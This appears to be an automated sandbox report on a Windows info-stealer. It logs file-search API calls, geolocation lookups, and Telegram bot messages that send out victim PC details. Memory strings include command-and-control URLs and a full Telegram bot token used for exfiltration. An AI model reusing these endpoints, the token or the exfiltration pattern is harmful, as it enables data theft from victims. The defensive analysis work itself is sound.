Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose, | 0_2_00452492 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 0_2_00442886 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, | 0_2_004788BD |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose, | 0_2_004339B6 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose, | 0_2_0045CAFA |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 0_2_00431A86 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, | 0_2_0044BD27 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0045DE8F FindFirstFileW,FindClose, | 0_2_0045DE8F |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, | 0_2_0044BF8B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose, | 2_2_00452492 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 2_2_00442886 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, | 2_2_004788BD |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose, | 2_2_004339B6 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose, | 2_2_0045CAFA |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 2_2_00431A86 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, | 2_2_0044BD27 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0045DE8F FindFirstFileW,FindClose, | 2_2_0045DE8F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, | 2_2_0044BF8B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose, | 5_2_00452492 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 5_2_00442886 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, | 5_2_004788BD |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose, | 5_2_004339B6 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose, | 5_2_0045CAFA |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, | 5_2_00431A86 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, | 5_2_0044BD27 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0045DE8F FindFirstFileW,FindClose, | 5_2_0045DE8F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, | 5_2_0044BF8B |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org |
Source: global traffic | HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2008/03/2025%20/%2014:39:37%0D%0ACountry%20Name:%20United%20States%0D%0A[%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2008/03/2025%20/%2016:44:55%0D%0ACountry%20Name:%20United%20States%0D%0A[%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: global traffic | HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive |
Source: RegSvcs.exe, 00000003.00000002.3307241932.0000000000434000.00000040.80000000.00040000.00000000.sdmp | String found in binary or memory: http://51.38.247.67:8081/_send_. |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003440000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002CB0000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://51.38.247.67:8081/_send_.php?L |
Source: Glagolitic.exe, 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, Glagolitic.exe, 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp | String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded |
Source: Glagolitic.exe, 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003251000.00000004.00000800.00020000.00000000.sdmp, Glagolitic.exe, 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3307267063.0000000000424000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://aborters.duckdns.org:8081 |
Source: Glagolitic.exe, 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003251000.00000004.00000800.00020000.00000000.sdmp, Glagolitic.exe, 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3307267063.0000000000424000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://anotherarmy.dns.army:8081 |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003450000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002CC0000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://api.telegram.org |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003450000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002CC0000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://api.telegram.orgd |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003251000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://checkip.dyndns.org |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003251000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://checkip.dyndns.org/ |
Source: Glagolitic.exe, 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3307241932.0000000000434000.00000040.80000000.00040000.00000000.sdmp, Glagolitic.exe, 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp | String found in binary or memory: http://checkip.dyndns.org/q |
Source: RegSvcs.exe, 00000006.00000002.3308619299.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp | String found in binary or memory: http://crl.microsG |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003440000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002CB0000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://mail.vvtrade.vn |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003440000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002CB0000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://mail.vvtrade.vnd |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003251000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name |
Source: Glagolitic.exe, 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003251000.00000004.00000800.00020000.00000000.sdmp, Glagolitic.exe, 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3307267063.0000000000424000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: http://varders.kozow.com:8081 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://ac.ecosia.org?q= |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003450000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003338000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002CC0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://api.telegram.org |
Source: RegSvcs.exe, 00000006.00000002.3309591385.0000000002CC0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3307267063.0000000000435000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://api.telegram.org/bot |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003338000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text= |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003338000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20a |
Source: RegSvcs.exe, 00000006.00000002.3309591385.0000000002CC0000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://api.telegram.org/bot7323823089:AAFBRsTW94zIpSoDS8yfGsotlQLqF2I6TU0/sendDocument?chat_id=5013 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q= |
Source: RegSvcs.exe, 00000003.00000002.3312006206.000000000456F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3312006206.0000000004535000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search |
Source: RegSvcs.exe, 00000003.00000002.3312006206.000000000456F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3312006206.0000000004535000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command= |
Source: RegSvcs.exe, 00000006.00000002.3309591385.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002C45000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://chrome.google.com/webstore?hl=en |
Source: RegSvcs.exe, 00000003.00000002.3309658145.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://chrome.google.com/webstore?hl=enlBDr |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://duckduckgo.com/ac/?q= |
Source: RegSvcs.exe, 00000003.00000002.3312006206.000000000456F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3312006206.0000000004535000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://duckduckgo.com/chrome_newtabv20 |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q= |
Source: RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://gemini.google.com/app?q= |
Source: RegSvcs.exe, 00000003.00000002.3309658145.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003338000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003311000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002B11000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002B81000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://reallyfreegeoip.org |
Source: Glagolitic.exe, 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3307241932.0000000000434000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, Glagolitic.exe, 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002B11000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://reallyfreegeoip.org/xml/ |
Source: RegSvcs.exe, 00000006.00000002.3309591385.0000000002B81000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189 |
Source: RegSvcs.exe, 00000003.00000002.3309658145.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003338000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3309658145.0000000003311000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002B3B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002B81000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$ |
Source: RegSvcs.exe, 00000003.00000002.3312006206.000000000456F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3312006206.0000000004535000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://www.ecosia.org/newtab/v20w |
Source: RegSvcs.exe, 00000003.00000002.3312006206.000000000456F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3312006206.0000000004535000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DA5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3311829142.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico |
Source: RegSvcs.exe, 00000006.00000002.3309591385.0000000002C85000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002C76000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://www.office.com/ |
Source: RegSvcs.exe, 00000003.00000002.3309658145.0000000003410000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.3309591385.0000000002C80000.00000004.00000800.00020000.00000000.sdmp | String found in binary or memory: https://www.office.com/lBDr |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49689 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49700 |
Source: unknown | Network traffic detected: HTTP traffic on port 49710 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49686 |
Source: unknown | Network traffic detected: HTTP traffic on port 49712 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49684 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49683 |
Source: unknown | Network traffic detected: HTTP traffic on port 49697 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49693 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49704 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49725 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49686 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49690 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49684 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49701 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49717 |
Source: unknown | Network traffic detected: HTTP traffic on port 49717 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49712 |
Source: unknown | Network traffic detected: HTTP traffic on port 49709 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49710 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49697 |
Source: unknown | Network traffic detected: HTTP traffic on port 49707 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49696 |
Source: unknown | Network traffic detected: HTTP traffic on port 49705 -> 443 |
